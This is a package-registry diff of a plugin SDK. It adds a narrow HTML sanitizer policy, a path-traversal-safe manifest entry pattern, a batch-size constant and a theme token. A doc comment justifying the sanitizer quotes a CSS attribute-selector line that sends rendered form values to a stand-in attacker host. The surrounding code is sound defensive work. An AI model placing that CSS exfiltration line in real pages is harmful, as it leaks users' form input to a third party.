@mosaicast/plugin-sdk 0.15.0 → 0.16.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -19,7 +19,7 @@
19
19
  * rejects a mismatch at startup (ARCHITECTURE §7.2). While the SDK is pre-1.0 a breaking change is
20
20
  * therefore a *minor* bump; from `1.0.0` on, breaking means major.
21
21
  */
22
- export const PLATFORM_API_VERSION = '0.15.0';
22
+ export const PLATFORM_API_VERSION = '0.16.1';
23
23
  /**
24
24
  * The id every `user` data path carries: the literal `me`, mirroring the Java `Scope.SELF_ID`.
25
25
  *
@@ -54,6 +54,14 @@ export function isPluginApiError(e) {
54
54
  * @since 0.9.0
55
55
  */
56
56
  export const DOC_KEY_PATTERN = /^[A-Za-z0-9._:-]{1,200}$/;
57
+ /**
58
+ * The most scope ids, and the most keys, one {@link DocClient.getMany} request carries — the host's
59
+ * per-request ceiling. The client splits a larger call for you, so this is for sizing, not a limit you
60
+ * have to enforce.
61
+ *
62
+ * @since 0.16.0
63
+ */
64
+ export const DOC_BATCH_LIMIT = 100;
57
65
  /**
58
66
  * Filename extension → content type, for {@link declaredTypeFor}.
59
67
  *
@@ -279,6 +287,74 @@ export function resolveArtwork(snapshot) {
279
287
  * @since 0.9.0
280
288
  */
281
289
  export const DISPLAY_BATCH_LIMIT = 200;
290
+ /**
291
+ * The HTML policy the host applies to third-party markup — mirror of the shell's feed-HTML sanitizer,
292
+ * and what {@link PluginContext.sanitize} applies.
293
+ *
294
+ * Plain data, so the SDK stays dependency-free and the host can import this one object instead of
295
+ * keeping a copy. The names map onto DOMPurify's config keys (`ALLOWED_TAGS`, `ALLOWED_ATTR`, `FORBID_TAGS`,
296
+ * `FORBID_ATTR`, `ALLOWED_URI_REGEXP`) for a plugin that must run its own sanitizer somewhere `ctx` does not
297
+ * reach — **but the lists alone are not the policy**: DOMPurify also needs `ALLOW_DATA_ATTR: false`,
298
+ * `ALLOW_ARIA_ATTR: false` and `ADD_URI_SAFE_ATTR` set to every allowed attribute but `href` and `src`, or it
299
+ * keeps attributes the list does not name and strips ones it does (core#232). Prefer `ctx.sanitize`, which is
300
+ * the same decision without a dependency or those traps.
301
+ *
302
+ * ## Why not DOMPurify's defaults
303
+ *
304
+ * The defaults are built to stop *script execution*, and they do. They also permit `<style>` and the
305
+ * `style` attribute, filtering CSS only for `expression()` and `behavior:`, not for `url()`. The plugin
306
+ * contract requires `style-src 'unsafe-inline'` (Web Components style their shadow roots), and `img-src`
307
+ * stays open to any `https:` origin because artwork comes from arbitrary feed hosts. Together that makes
308
+ * any unsanitized stylesheet reachable, with two measured consequences:
309
+ *
310
+ * - a fixed, full-viewport, high-`z-index` block is **click-jacking** over the site chrome;
311
+ * - `input[value^="a"]{background-image:url(https://attacker/a)}` **exfiltrates** rendered form values
312
+ * one character at a time.
313
+ *
314
+ * So the lists are narrow and explicit: prose, links, lists, tables and images. Widening one is a
315
+ * decision somebody makes on purpose; inheriting a default is a decision nobody made.
316
+ *
317
+ * @since 0.16.0
318
+ */
319
+ export const FEED_HTML_POLICY = Object.freeze({
320
+ allowedTags: Object.freeze([
321
+ 'a', 'abbr', 'b', 'blockquote', 'br', 'cite', 'code', 'dd', 'del', 'dl', 'dt', 'em', 'figcaption',
322
+ 'figure', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'hr', 'i', 'img', 'ins', 'kbd', 'li', 'ol', 'p', 'pre',
323
+ 'q', 's', 'samp', 'small', 'span', 'strong', 'sub', 'sup', 'table', 'tbody', 'td', 'tfoot', 'th',
324
+ 'thead', 'tr', 'u', 'ul', 'var',
325
+ ]),
326
+ allowedAttrs: Object.freeze([
327
+ 'href', 'title', 'alt', 'src', 'width', 'height', 'lang', 'dir', 'colspan', 'rowspan', 'start', 'align',
328
+ ]),
329
+ forbidTags: Object.freeze(['style', 'script', 'iframe', 'object', 'embed', 'form', 'input', 'link', 'base']),
330
+ forbidAttrs: Object.freeze(['style', 'srcset', 'formaction', 'ping']),
331
+ allowedUriRegexp: /^(?:https?:|mailto:|tel:|#|\/)/i,
332
+ // `noopener noreferrer` is mandatory with target=_blank; `nofollow ugc` because this markup is a third
333
+ // party's, published through the operator's site. The same string the server writes into the no-JS copy.
334
+ externalLinkRel: 'noopener noreferrer nofollow ugc',
335
+ });
336
+ /**
337
+ * The grammar of `frontend.entry` — mirror of the host's `PluginManifest.FRONTEND_ENTRY_PATTERN`.
338
+ *
339
+ * A relative path under the plugin's own `assets/`: one or more `[A-Za-z0-9._-]` segments joined by `/`,
340
+ * with no leading slash, no `.` or `..` segment, no empty segment, and no query or fragment.
341
+ *
342
+ * It is the one manifest string that becomes a URL path, and it was the last one without a grammar: the
343
+ * shell builds `/plugins/<id>/assets/<entry>` by interpolation, so an entry carrying `../`, `?` or `#`
344
+ * addressed something other than what its author wrote. The host **rejects** a manifest whose entry does
345
+ * not match — at load, with the entry named — rather than dropping the field, the same rule
346
+ * {@link PluginDataDeclaration.backendOwned} follows: a plugin whose bundle silently never loads is worse
347
+ * than one that fails with a named cause. Test your manifest against this to find out before the host
348
+ * does.
349
+ *
350
+ * ```ts
351
+ * FRONTEND_ENTRY_PATTERN.test('sample.es.js'); // true
352
+ * FRONTEND_ENTRY_PATTERN.test('../sample.es.js'); // false
353
+ * ```
354
+ *
355
+ * @since 0.16.0
356
+ */
357
+ export const FRONTEND_ENTRY_PATTERN = /^(?!\.{1,2}(\/|$))[A-Za-z0-9._-]+(\/(?!\.{1,2}(\/|$))[A-Za-z0-9._-]+)*$/;
282
358
  /**
283
359
  * Identity function that type-checks a manifest literal.
284
360
  *
@@ -312,6 +388,7 @@ const THEME_TOKEN_VARS = [
312
388
  ['textMuted', '--mc-text-muted'],
313
389
  ['accent', '--mc-accent'],
314
390
  ['accentContrast', '--mc-accent-contrast'],
391
+ ['accentText', '--mc-accent-text'],
315
392
  ['accent2', '--mc-accent-2'],
316
393
  ['border', '--mc-border'],
317
394
  ];
package/dist/index.js.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}
1
